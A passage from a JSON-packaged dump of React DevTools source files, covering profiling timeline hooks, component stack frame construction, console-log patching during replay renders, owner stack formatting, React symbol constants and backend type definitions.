'suspense',\n      warning: null,\n    };\n\n    if (currentTimelineData) {\n      currentTimelineData.suspenseEvents.push(suspenseEvent);\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear(\n        `--suspense-${eventType}-${id}-${componentName}-${phase}-${lanes}-${displayName}`,\n      );\n\n      wakeable.then(\n        () => {\n          if (suspenseEvent) {\n            suspenseEvent.duration =\n              getRelativeTime() - suspenseEvent.timestamp;\n            suspenseEvent.resolution = 'resolved';\n          }\n\n          if (supportsUserTimingV3) {\n            markAndClear(`--suspense-resolved-${id}-${componentName}`);\n          }\n        },\n        () => {\n          if (suspenseEvent) {\n            suspenseEvent.duration =\n              getRelativeTime() - suspenseEvent.timestamp;\n            suspenseEvent.resolution = 'rejected';\n          }\n\n          if (supportsUserTimingV3) {\n            markAndClear(`--suspense-rejected-${id}-${componentName}`);\n          }\n        },\n      );\n    }\n  }\n\n  function markLayoutEffectsStarted(lanes: Lanes): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureStarted('layout-effects', lanes);\n    if (supportsUserTimingV3) {\n      markAndClear(`--layout-effects-start-${lanes}`);\n    }\n  }\n\n  function markLayoutEffectsStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureCompleted('layout-effects');\n    if (supportsUserTimingV3) {\n      markAndClear('--layout-effects-stop');\n    }\n  }\n\n  function markPassiveEffectsStarted(lanes: Lanes): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureStarted('passive-effects', lanes);\n    if (supportsUserTimingV3) {\n      markAndClear(`--passive-effects-start-${lanes}`);\n    }\n  }\n\n  function markPassiveEffectsStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureCompleted('passive-effects');\n    if (supportsUserTimingV3) {\n      markAndClear('--passive-effects-stop');\n    }\n  }\n\n  function markRenderStarted(lanes: Lanes): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (nextRenderShouldStartNewBatch) {\n      nextRenderShouldStartNewBatch = false;\n      currentBatchUID++;\n    }\n\n    // If this is a new batch of work, wrap an \"idle\" measure around it.\n    // Log it before the \"render\" measure to preserve the stack ordering.\n    if (\n      currentReactMeasuresStack.length === 0 ||\n      currentReactMeasuresStack[currentReactMeasuresStack.length - 1].type !==\n        'render-idle'\n    ) {\n      recordReactMeasureStarted('render-idle', lanes);\n    }\n\n    recordReactMeasureStarted('render', lanes);\n    if (supportsUserTimingV3) {\n      markAndClear(`--render-start-${lanes}`);\n    }\n  }\n\n  function markRenderYielded(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureCompleted('render');\n    if (supportsUserTimingV3) {\n      markAndClear('--render-yield');\n    }\n  }\n\n  function markRenderStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureCompleted('render');\n    if (supportsUserTimingV3) {\n      markAndClear('--render-stop');\n    }\n  }\n\n  function markRenderScheduled(lane: Lane): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (currentTimelineData) {\n      currentTimelineData.schedulingEvents.push({\n        lanes: laneToLanesArray(lane),\n        timestamp: getRelativeTime(),\n        type: 'schedule-render',\n        warning: null,\n      });\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--schedule-render-${lane}`);\n    }\n  }\n\n  function markForceUpdateScheduled(fiber: Fiber, lane: Lane): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    if (currentTimelineData) {\n      currentTimelineData.schedulingEvents.push({\n        componentName,\n        lanes: laneToLanesArray(lane),\n        timestamp: getRelativeTime(),\n        type: 'schedule-force-update',\n        warning: null,\n      });\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--schedule-forced-update-${lane}-${componentName}`);\n    }\n  }\n\n  function getParentFibers(fiber: Fiber): Array<Fiber> {\n    const parents = [];\n    let parent: null | Fiber = fiber;\n    while (parent !== null) {\n      parents.push(parent);\n      parent = parent.return;\n    }\n    return parents;\n  }\n\n  function markStateUpdateScheduled(fiber: Fiber, lane: Lane): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    if (currentTimelineData) {\n      const event: ReactScheduleStateUpdateEvent = {\n        componentName,\n        // Store the parent fibers so we can post process\n        // them after we finish profiling\n        lanes: laneToLanesArray(lane),\n        timestamp: getRelativeTime(),\n        type: 'schedule-state-update',\n        warning: null,\n      };\n      currentFiberStacks.set(event, getParentFibers(fiber));\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentTimelineData.schedulingEvents.push(event);\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--schedule-state-update-${lane}-${componentName}`);\n    }\n  }\n\n  function toggleProfilingStatus(\n    value: boolean,\n    recordTimeline: boolean = false,\n  ) {\n    if (isProfiling !== value) {\n      isProfiling = value;\n\n      if (isProfiling) {\n        const internalModuleSourceToRanges: InternalModuleSourceToRanges =\n          new Map();\n\n        if (supportsUserTimingV3) {\n          const ranges = getInternalModuleRanges();\n          if (ranges) {\n            for (let i = 0; i < ranges.length; i++) {\n              const range = ranges[i];\n              if (isArray(range) && range.length === 2) {\n                const [startStackFrame, stopStackFrame] = ranges[i];\n\n                markAndClear(\n                  `--react-internal-module-start-${startStackFrame}`,\n                );\n                markAndClear(`--react-internal-module-stop-${stopStackFrame}`);\n              }\n            }\n          }\n        }\n\n        const laneToReactMeasureMap = new Map<ReactLane, ReactMeasure[]>();\n        let lane = 1;\n        for (let index = 0; index < REACT_TOTAL_NUM_LANES; index++) {\n          laneToReactMeasureMap.set(lane, []);\n          lane *= 2;\n        }\n\n        currentBatchUID = 0;\n        currentReactComponentMeasure = null;\n        currentReactMeasuresStack = [];\n        currentFiberStacks = new Map();\n        if (recordTimeline) {\n          currentTimelineData = {\n            // Session wide metadata; only collected once.\n            internalModuleSourceToRanges,\n            laneToLabelMap: laneToLabelMap || new Map(),\n            reactVersion,\n\n            // Data logged by React during profiling session.\n            componentMeasures: [],\n            schedulingEvents: [],\n            suspenseEvents: [],\n            thrownErrors: [],\n\n            // Data inferred based on what React logs.\n            batchUIDToMeasuresMap: new Map(),\n            duration: 0,\n            laneToReactMeasureMap,\n            startTime: 0,\n\n            // Data only available in Chrome profiles.\n            flamechart: [],\n            nativeEvents: [],\n            networkMeasures: [],\n            otherUserTimingMarks: [],\n            snapshots: [],\n            snapshotHeight: 0,\n          };\n        }\n        nextRenderShouldStartNewBatch = true;\n      } else {\n        // This is __EXPENSIVE__.\n        // We could end up with hundreds of state updated, and for each one of them\n        // would try to create a component stack with possibly hundreds of Fibers.\n        // Creating a cache of component stacks won't help, generating a single stack is already expensive enough.\n        // We should find a way to lazily generate component stacks on demand, when user inspects a specific event.\n        // If we succeed with moving React DevTools Timeline Profiler to Performance panel, then Timeline Profiler would probably be removed.\n        // Now that owner stacks are adopted, revisit this again and cache component stacks per Fiber,\n        // but only return them when needed, sending hundreds of component stacks is beyond the Bridge's bandwidth.\n\n        // Postprocess Profile data\n        if (currentTimelineData !== null) {\n          currentTimelineData.schedulingEvents.forEach(event => {\n            if (event.type === 'schedule-state-update') {\n              // TODO(luna): We can optimize this by creating a map of\n              // fiber to component stack instead of generating the stack\n              // for every fiber every time\n              const fiberStack = currentFiberStacks.get(event);\n              if (fiberStack && currentDispatcherRef != null) {\n                event.componentStack = fiberStack.reduce((trace, fiber) => {\n                  return (\n                    trace +\n                    describeFiber(workTagMap, fiber, currentDispatcherRef)\n                  );\n                }, '');\n              }\n            }\n          });\n        }\n\n        // Clear the current fiber stacks so we don't hold onto the fibers\n        // in memory after profiling finishes\n        currentFiberStacks.clear();\n      }\n    }\n  }\n\n  return {\n    getTimelineData,\n    profilingHooks: {\n      markCommitStarted,\n      markCommitStopped,\n      markComponentRenderStarted,\n      markComponentRenderStopped,\n      markComponentPassiveEffectMountStarted,\n      markComponentPassiveEffectMountStopped,\n      markComponentPassiveEffectUnmountStarted,\n      markComponentPassiveEffectUnmountStopped,\n      markComponentLayoutEffectMountStarted,\n      markComponentLayoutEffectMountStopped,\n      markComponentLayoutEffectUnmountStarted,\n      markComponentLayoutEffectUnmountStopped,\n      markComponentErrored,\n      markComponentSuspended,\n      markLayoutEffectsStarted,\n      markLayoutEffectsStopped,\n      markPassiveEffectsStarted,\n      markPassiveEffectsStopped,\n      markRenderStarted,\n      markRenderYielded,\n      markRenderStopped,\n      markRenderScheduled,\n      markForceUpdateScheduled,\n      markStateUpdateScheduled,\n    },\n    toggleProfilingStatus,\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a DevTools fork of ReactComponentStackFrame.\n// This fork enables DevTools to use the same \"native\" component stack format,\n// while still maintaining support for multiple renderer versions\n// (which use different values for ReactTypeOfWork).\n\nimport type {CurrentDispatcherRef} from '../types';\n\n// The shared console patching code is DEV-only.\n// We can't use it since DevTools only ships production builds.\nimport {disableLogs, reenableLogs} from './DevToolsConsolePatching';\n\nlet prefix;\nexport function describeBuiltInComponentFrame(name: string): string {\n  if (prefix === undefined) {\n    // Extract the VM specific prefix used by each line.\n    try {\n      throw Error();\n    } catch (x) {\n      const match = x.stack.trim().match(/\\n( *(at )?)/);\n      prefix = (match && match[1]) || '';\n    }\n  }\n  let suffix = '';\n  if (__IS_CHROME__ || __IS_EDGE__ || __IS_NATIVE__) {\n    suffix = ' (<anonymous>)';\n  } else if (__IS_FIREFOX__) {\n    suffix = '@unknown:0:0';\n  }\n  // We use the prefix to ensure our stacks line up with native stack frames.\n  // We use a suffix to ensure it gets parsed natively.\n  return '\\n' + prefix + name + suffix;\n}\n\nexport function describeDebugInfoFrame(name: string, env: ?string): string {\n  return describeBuiltInComponentFrame(name + (env ? ' [' + env + ']' : ''));\n}\n\nlet reentry = false;\nlet componentFrameCache;\nif (__DEV__) {\n  const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n  componentFrameCache = new PossiblyWeakMap<$FlowFixMe, string>();\n}\n\nexport function describeNativeComponentFrame(\n  fn: Function,\n  construct: boolean,\n  currentDispatcherRef: CurrentDispatcherRef,\n): string {\n  // If something asked for a stack inside a fake render, it should get ignored.\n  if (!fn || reentry) {\n    return '';\n  }\n\n  if (__DEV__) {\n    const frame = componentFrameCache.get(fn);\n    if (frame !== undefined) {\n      return frame;\n    }\n  }\n\n  const previousPrepareStackTrace = Error.prepareStackTrace;\n  // $FlowFixMe[incompatible-type] It does accept undefined.\n  Error.prepareStackTrace = undefined;\n\n  reentry = true;\n\n  // Override the dispatcher so effects scheduled by this shallow render are thrown away.\n  //\n  // Note that unlike the code this was forked from (in ReactComponentStackFrame)\n  // DevTools should override the dispatcher even when DevTools is compiled in production mode,\n  // because the app itself may be in development mode and log errors/warnings.\n  const previousDispatcher = currentDispatcherRef.H;\n  currentDispatcherRef.H = null;\n  disableLogs();\n  try {\n    // NOTE: keep in sync with the implementation in ReactComponentStackFrame\n\n    /**\n     * Finding a common stack frame between sample and control errors can be\n     * tricky given the different types and levels of stack trace truncation from\n     * different JS VMs. So instead we'll attempt to control what that common\n     * frame should be through this object method:\n     * Having both the sample and control errors be in the function under the\n     * `DescribeNativeComponentFrameRoot` property, + setting the `name` and\n     * `displayName` properties of the function ensures that a stack\n     * frame exists that has the method name `DescribeNativeComponentFrameRoot` in\n     * it for both control and sample stacks.\n     */\n    const RunInRootFrame = {\n      DetermineComponentFrameRoot(): [?string, ?string] {\n        let control;\n        try {\n          // This should throw.\n          if (construct) {\n            // Something should be setting the props in the constructor.\n            const Fake = function () {\n              throw Error();\n            };\n            // $FlowFixMe[prop-missing]\n            Object.defineProperty(Fake.prototype, 'props', {\n              set: function () {\n                // We use a throwing setter instead of frozen or non-writable props\n                // because that won't throw in a non-strict mode function.\n                throw Error();\n              },\n            });\n            if (typeof Reflect === 'object' && Reflect.construct) {\n              // We construct a different control for this case to include any extra\n              // frames added by the construct call.\n              try {\n                Reflect.construct(Fake, []);\n              } catch (x) {\n                control = x;\n              }\n              Reflect.construct(fn, [], Fake);\n            } else {\n              try {\n                Fake.call();\n              } catch (x) {\n                control = x;\n              }\n              // $FlowFixMe[prop-missing] found when upgrading Flow\n              fn.call(Fake.prototype);\n            }\n          } else {\n            try {\n              throw Error();\n            } catch (x) {\n              control = x;\n            }\n            // TODO(luna): This will currently only throw if the function component\n            // tries to access React/ReactDOM/props. We should probably make this throw\n            // in simple components too\n            const maybePromise = fn();\n\n            // If the function component returns a promise, it's likely an async\n            // component, which we don't yet support. Attach a noop catch handler to\n            // silence the error.\n            // TODO: Implement component stacks for async client components?\n            if (maybePromise && typeof maybePromise.catch === 'function') {\n              maybePromise.catch(() => {});\n            }\n          }\n        } catch (sample) {\n          // This is inlined manually because closure doesn't do it for us.\n          if (sample && control && typeof sample.stack === 'string') {\n            return [sample.stack, control.stack];\n          }\n        }\n        return [null, null];\n      },\n    };\n    // $FlowFixMe[prop-missing]\n    RunInRootFrame.DetermineComponentFrameRoot.displayName =\n      'DetermineComponentFrameRoot';\n    const namePropDescriptor = Object.getOwnPropertyDescriptor(\n      RunInRootFrame.DetermineComponentFrameRoot,\n      'name',\n    );\n    // Before ES6, the `name` property was not configurable.\n    if (namePropDescriptor && namePropDescriptor.configurable) {\n      // V8 utilizes a function's `name` property when generating a stack trace.\n      Object.defineProperty(\n        RunInRootFrame.DetermineComponentFrameRoot,\n        // Configurable properties can be updated even if its writable descriptor\n        // is set to `false`.\n        // $FlowFixMe[cannot-write]\n        'name',\n        {value: 'DetermineComponentFrameRoot'},\n      );\n    }\n\n    const [sampleStack, controlStack] =\n      RunInRootFrame.DetermineComponentFrameRoot();\n    if (sampleStack && controlStack) {\n      // This extracts the first frame from the sample that isn't also in the control.\n      // Skipping one frame that we assume is the frame that calls the two.\n      const sampleLines = sampleStack.split('\\n');\n      const controlLines = controlStack.split('\\n');\n      let s = 0;\n      let c = 0;\n      while (\n        s < sampleLines.length &&\n        !sampleLines[s].includes('DetermineComponentFrameRoot')\n      ) {\n        s++;\n      }\n      while (\n        c < controlLines.length &&\n        !controlLines[c].includes('DetermineComponentFrameRoot')\n      ) {\n        c++;\n      }\n      // We couldn't find our intentionally injected common root frame, attempt\n      // to find another common root frame by search from the bottom of the\n      // control stack...\n      if (s === sampleLines.length || c === controlLines.length) {\n        s = sampleLines.length - 1;\n        c = controlLines.length - 1;\n        while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {\n          // We expect at least one stack frame to be shared.\n          // Typically this will be the root most one. However, stack frames may be\n          // cut off due to maximum stack limits. In this case, one maybe cut off\n          // earlier than the other. We assume that the sample is longer or the same\n          // and there for cut off earlier. So we should find the root most frame in\n          // the sample somewhere in the control.\n          c--;\n        }\n      }\n      for (; s >= 1 && c >= 0; s--, c--) {\n        // Next we find the first one that isn't the same which should be the\n        // frame that called our sample function and the control.\n        if (sampleLines[s] !== controlLines[c]) {\n          // In V8, the first line is describing the message but other VMs don't.\n          // If we're about to return the first line, and the control is also on the same\n          // line, that's a pretty good indicator that our sample threw at same line as\n          // the control. I.e. before we entered the sample frame. So we ignore this result.\n          // This can happen if you passed a class to function component, or non-function.\n          if (s !== 1 || c !== 1) {\n            do {\n              s--;\n              c--;\n              // We may still have similar intermediate frames from the construct call.\n              // The next one that isn't the same should be our match though.\n              if (c < 0 || sampleLines[s] !== controlLines[c]) {\n                // V8 adds a \"new\" prefix for native classes. Let's remove it to make it prettier.\n                let frame = '\\n' + sampleLines[s].replace(' at new ', ' at ');\n\n                // If our component frame is labeled \"<anonymous>\"\n                // but we have a user-provided \"displayName\"\n                // splice it in to make the stack more readable.\n                if (fn.displayName && frame.includes('<anonymous>')) {\n                  frame = frame.replace('<anonymous>', fn.displayName);\n                }\n\n                if (__DEV__) {\n                  if (typeof fn === 'function') {\n                    componentFrameCache.set(fn, frame);\n                  }\n                }\n                // Return the line we found.\n                return frame;\n              }\n            } while (s >= 1 && c >= 0);\n          }\n          break;\n        }\n      }\n    }\n  } finally {\n    reentry = false;\n\n    Error.prepareStackTrace = previousPrepareStackTrace;\n\n    currentDispatcherRef.H = previousDispatcher;\n    reenableLogs();\n  }\n  // Fallback to just using the name if we couldn't make it throw.\n  const name = fn ? fn.displayName || fn.name : '';\n  const syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';\n  if (__DEV__) {\n    if (typeof fn === 'function') {\n      componentFrameCache.set(fn, syntheticFrame);\n    }\n  }\n  return syntheticFrame;\n}\n\nexport function describeClassComponentFrame(\n  ctor: Function,\n  currentDispatcherRef: CurrentDispatcherRef,\n): string {\n  return describeNativeComponentFrame(ctor, true, currentDispatcherRef);\n}\n\nexport function describeFunctionComponentFrame(\n  fn: Function,\n  currentDispatcherRef: CurrentDispatcherRef,\n): string {\n  return describeNativeComponentFrame(fn, false, currentDispatcherRef);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/shared/DevToolsConsolePatching.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a DevTools fork of shared/ConsolePatchingDev.\n// The shared console patching code is DEV-only.\n// We can't use it since DevTools only ships production builds.\n\n// Helpers to patch console.logs to avoid logging during side-effect free\n// replaying on render function. This currently only patches the object\n// lazily which won't cover if the log function was extracted eagerly.\n// We could also eagerly patch the method.\n\nlet disabledDepth = 0;\nlet prevLog;\nlet prevInfo;\nlet prevWarn;\nlet prevError;\nlet prevGroup;\nlet prevGroupCollapsed;\nlet prevGroupEnd;\n\nfunction disabledLog() {}\ndisabledLog.__reactDisabledLog = true;\n\nexport function disableLogs(): void {\n  if (disabledDepth === 0) {\n    prevLog = console.log;\n    prevInfo = console.info;\n    prevWarn = console.warn;\n    prevError = console.error;\n    prevGroup = console.group;\n    prevGroupCollapsed = console.groupCollapsed;\n    prevGroupEnd = console.groupEnd;\n    // https://github.com/facebook/react/issues/19099\n    const props = {\n      configurable: true,\n      enumerable: true,\n      value: disabledLog,\n      writable: true,\n    };\n    // $FlowFixMe[cannot-write] Flow thinks console is immutable.\n    Object.defineProperties(console, {\n      info: props,\n      log: props,\n      warn: props,\n      error: props,\n      group: props,\n      groupCollapsed: props,\n      groupEnd: props,\n    });\n    /* eslint-enable react-internal/no-production-logging */\n  }\n  disabledDepth++;\n}\n\nexport function reenableLogs(): void {\n  disabledDepth--;\n  if (disabledDepth === 0) {\n    const props = {\n      configurable: true,\n      enumerable: true,\n      writable: true,\n    };\n    // $FlowFixMe[cannot-write] Flow thinks console is immutable.\n    Object.defineProperties(console, {\n      log: {...props, value: prevLog},\n      info: {...props, value: prevInfo},\n      warn: {...props, value: prevWarn},\n      error: {...props, value: prevError},\n      group: {...props, value: prevGroup},\n      groupCollapsed: {...props, value: prevGroupCollapsed},\n      groupEnd: {...props, value: prevGroupEnd},\n    });\n    /* eslint-enable react-internal/no-production-logging */\n  }\n  if (disabledDepth < 0) {\n    console.error(\n      'disabledDepth fell below zero. ' +\n        'This is a bug in React. Please file an issue.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/shared/DevToolsOwnerStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a DevTools fork of shared/ReactOwnerStackFrames.\n\nexport function formatOwnerStack(error: Error): string {\n  const prevPrepareStackTrace = Error.prepareStackTrace;\n  // $FlowFixMe[incompatible-type] It does accept undefined.\n  Error.prepareStackTrace = undefined;\n  let stack = error.stack;\n  Error.prepareStackTrace = prevPrepareStackTrace;\n\n  if (stack.startsWith('Error: react-stack-top-frame\\n')) {\n    // V8's default formatting prefixes with the error message which we\n    // don't want/need.\n    stack = stack.slice(29);\n  }\n  let idx = stack.indexOf('\\n');\n  if (idx !== -1) {\n    // Pop the JSX frame.\n    stack = stack.slice(idx + 1);\n  }\n  idx = stack.indexOf('react_stack_bottom_frame');\n  if (idx === -1) {\n    idx = stack.indexOf('react-stack-bottom-frame');\n  }\n  if (idx !== -1) {\n    idx = stack.lastIndexOf('\\n', idx);\n  }\n  if (idx !== -1) {\n    // Cut off everything after the bottom frame since it'll be internals.\n    stack = stack.slice(0, idx);\n  } else {\n    // We didn't find any internal callsite out to user space.\n    // This means that this was called outside an owner or the owner is fully internal.\n    // To keep things light we exclude the entire trace in this case.\n    return '';\n  }\n  return stack;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/shared/DevToolsServerComponentLogs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This keeps track of Server Component logs which may come from.\n// This is in a shared module because Server Component logs don't come from a specific renderer\n// but can become associated with a Virtual Instance of any renderer.\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\ntype ComponentLogs = {\n  errors: Map<string, number>,\n  errorsCount: number,\n  warnings: Map<string, number>,\n  warningsCount: number,\n};\n\n// This keeps it around as long as the ComponentInfo is alive which\n// lets the Fiber get reparented/remounted and still observe the previous errors/warnings.\n// Unless we explicitly clear the logs from a Fiber.\nexport const componentInfoToComponentLogsMap: WeakMap<\n  ReactComponentInfo,\n  ComponentLogs,\n> = new WeakMap();\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/shared/ReactSymbols.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This list should be kept updated to reflect additions to 'shared/ReactSymbols'.\n// DevTools can't import symbols from 'shared/ReactSymbols' directly for two reasons:\n// 1. DevTools requires symbols which may have been deleted in more recent versions (e.g. concurrent mode)\n// 2. DevTools must support both Symbol and numeric forms of each symbol;\n//    Since e.g. standalone DevTools runs in a separate process, it can't rely on its own ES capabilities.\n\nexport const CONCURRENT_MODE_NUMBER = 0xeacf;\nexport const CONCURRENT_MODE_SYMBOL_STRING = 'Symbol(react.concurrent_mode)';\n\nexport const CONTEXT_NUMBER = 0xeace;\nexport const CONTEXT_SYMBOL_STRING = 'Symbol(react.context)';\n\nexport const SERVER_CONTEXT_SYMBOL_STRING = 'Symbol(react.server_context)';\n\nexport const DEPRECATED_ASYNC_MODE_SYMBOL_STRING = 'Symbol(react.async_mode)';\n\nexport const ELEMENT_SYMBOL_STRING = 'Symbol(react.transitional.element)';\nexport const LEGACY_ELEMENT_NUMBER = 0xeac7;\nexport const LEGACY_ELEMENT_SYMBOL_STRING = 'Symbol(react.element)';\n\nexport const DEBUG_TRACING_MODE_NUMBER = 0xeae1;\nexport const DEBUG_TRACING_MODE_SYMBOL_STRING =\n  'Symbol(react.debug_trace_mode)';\n\nexport const FORWARD_REF_NUMBER = 0xead0;\nexport const FORWARD_REF_SYMBOL_STRING = 'Symbol(react.forward_ref)';\n\nexport const FRAGMENT_NUMBER = 0xeacb;\nexport const FRAGMENT_SYMBOL_STRING = 'Symbol(react.fragment)';\n\nexport const LAZY_NUMBER = 0xead4;\nexport const LAZY_SYMBOL_STRING = 'Symbol(react.lazy)';\n\nexport const MEMO_NUMBER = 0xead3;\nexport const MEMO_SYMBOL_STRING = 'Symbol(react.memo)';\n\nexport const PORTAL_NUMBER = 0xeaca;\nexport const PORTAL_SYMBOL_STRING = 'Symbol(react.portal)';\n\nexport const PROFILER_NUMBER = 0xead2;\nexport const PROFILER_SYMBOL_STRING = 'Symbol(react.profiler)';\n\nexport const PROVIDER_NUMBER = 0xeacd;\nexport const PROVIDER_SYMBOL_STRING = 'Symbol(react.provider)';\n\nexport const CONSUMER_SYMBOL_STRING = 'Symbol(react.consumer)';\n\nexport const SCOPE_NUMBER = 0xead7;\nexport const SCOPE_SYMBOL_STRING = 'Symbol(react.scope)';\n\nexport const STRICT_MODE_NUMBER = 0xeacc;\nexport const STRICT_MODE_SYMBOL_STRING = 'Symbol(react.strict_mode)';\n\nexport const SUSPENSE_NUMBER = 0xead1;\nexport const SUSPENSE_SYMBOL_STRING = 'Symbol(react.suspense)';\n\nexport const SUSPENSE_LIST_NUMBER = 0xead8;\nexport const SUSPENSE_LIST_SYMBOL_STRING = 'Symbol(react.suspense_list)';\n\nexport const SERVER_CONTEXT_DEFAULT_VALUE_NOT_LOADED_SYMBOL_STRING =\n  'Symbol(react.server_context.defaultValue)';\n\nexport const REACT_MEMO_CACHE_SENTINEL: symbol = Symbol.for(\n  'react.memo_cache_sentinel',\n);\n\nimport type {ReactOptimisticKey} from 'shared/ReactTypes';\n\nexport const REACT_OPTIMISTIC_KEY: ReactOptimisticKey = (Symbol.for(\n  'react.optimistic_key',\n): any);\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * WARNING:\n * This file contains types that are conceptually related to React internals and\n * DevTools backends, but can be passed to frontend via the bridge.\n * Be mindful of backwards compatibility when making changes.\n */\n\nimport type {\n  ReactContext,\n  Wakeable,\n  ReactComponentInfo,\n} from 'shared/ReactTypes';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  ComponentFilter,\n  ElementType,\n  Plugins,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  ResolveNativeStyle,\n  SetupNativeStyleEditor,\n} from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';\nimport type {InitBackend} from 'react-devtools-shared/src/backend';\nimport type {TimelineDataExport} from 'react-devtools-timeline/src/types';\nimport type {BackendBridge} from 'react-devtools-shared/src/bridge';\nimport type {ReactFunctionLocation, ReactStackTrace} from 'shared/ReactTypes';\nimport type Agent from './agent';\nimport type {UnknownSuspendersReason} from '../constants';\n\ntype BundleType =\n  | 0 // PROD\n  | 1; // DEV\n\nexport type WorkTag = number;\nexport type WorkFlags = number;\nexport type ExpirationTime = number;\n\nexport type WorkTagMap = {\n  CacheComponent: WorkTag,\n  ClassComponent: WorkTag,\n  ContextConsumer: WorkTag,\n  ContextProvider: WorkTag,\n  CoroutineComponent: WorkTag,\n  CoroutineHandlerPhase: WorkTag,\n  DehydratedSuspenseComponent: WorkTag,\n  ForwardRef: WorkTag,\n  Fragment: WorkTag,\n  FunctionComponent: WorkTag,\n  HostComponent: WorkTag,\n  HostPortal: WorkTag,\n  HostRoot: WorkTag,\n  HostHoistable: WorkTag,\n  HostSingleton: WorkTag,\n  HostText: WorkTag,\n  IncompleteClassComponent: WorkTag,\n  IncompleteFunctionComponent: WorkTag,\n  IndeterminateComponent: WorkTag,\n  LazyComponent: WorkTag,\n  LegacyHiddenComponent: WorkTag,\n  MemoComponent: WorkTag,\n  Mode: WorkTag,\n  OffscreenComponent: WorkTag,\n  Profiler: WorkTag,\n  ScopeComponent: WorkTag,\n  SimpleMemoComponent: WorkTag,\n  SuspenseComponent: WorkTag,\n  SuspenseListComponent: WorkTag,\n  TracingMarkerComponent: WorkTag,\n  YieldComponent: WorkTag,\n  Throw: WorkTag,\n  ViewTransitionComponent: WorkTag,\n  ActivityComponent: WorkTag,\n};\n\nexport type HostInstance = Object;\nexport type RendererID = number;\n\ntype Dispatcher = any;\nexport type LegacyDispatcherRef = {current: null | Dispatcher};\ntype SharedInternalsSubset = {\n  H: null | Dispatcher,\n  ...\n};\nexport type CurrentDispatcherRef = SharedInternalsSubset;\n\nexport type GetDisplayNameForElementID = (id: number) => string | null;\n\nexport type GetElementIDForHostInstance = (\n  component: HostInstance,\n) => number | null;\nexport type FindHostInstancesForElementID = (\n  id: number,\n) => null | $ReadOnlyArray<HostInstance>;\n\nexport type Rect = {\n  x: number,\n  y: number,\n  width: number,\n  height: number,\n  ...\n};\nexport type FindLastKnownRectsForID = (\n  id: number,\n) => null | $ReadOnlyArray<Rect>;\nexport type ReactProviderType<T> = {\n  $$typeof: symbol | number,\n  _context: ReactContext<T>,\n  ...\n};\n\nexport type Lane = number;\nexport type Lanes = number;\n\nexport type ReactRenderer = {\n  version: string,\n  rendererPackageName: string,\n  bundleType: BundleType,\n  // 16.0+ - To be removed in future versions.\n  findFiberByHostInstance?: (hostInstance: HostInstance) => Fiber | null,\n  // 16.9+\n  overrideHookState?: ?(\n    fiber: Object,\n    id: number,\n    path: Array<string | number>,\n    value: any,\n  ) => void,\n  // 17+\n  overrideHookStateDeletePath?: ?(\n    fiber: Object,\n    id: number,\n    path: Array<string | number>,\n  ) => void,\n  // 17+\n  overrideHookStateRenamePath?: ?(\n    fiber: Object,\n    id: number,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ) => void,\n  // 16.7+\n  overrideProps?: ?(\n    fiber: Object,\n    path: Array<string | number>,\n    value: any,\n  ) => void,\n  // 17+\n  overridePropsDeletePath?: ?(\n    fiber: Object,\n    path: Array<string | number>,\n  ) => void,\n  // 17+\n  overridePropsRenamePath?: ?(\n    fiber: Object,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ) => void,\n  // 16.9+\n  scheduleUpdate?: ?(fiber: Object) => void,\n  // 19.2+\n  scheduleRetry?: ?(fiber: Object) => void,\n  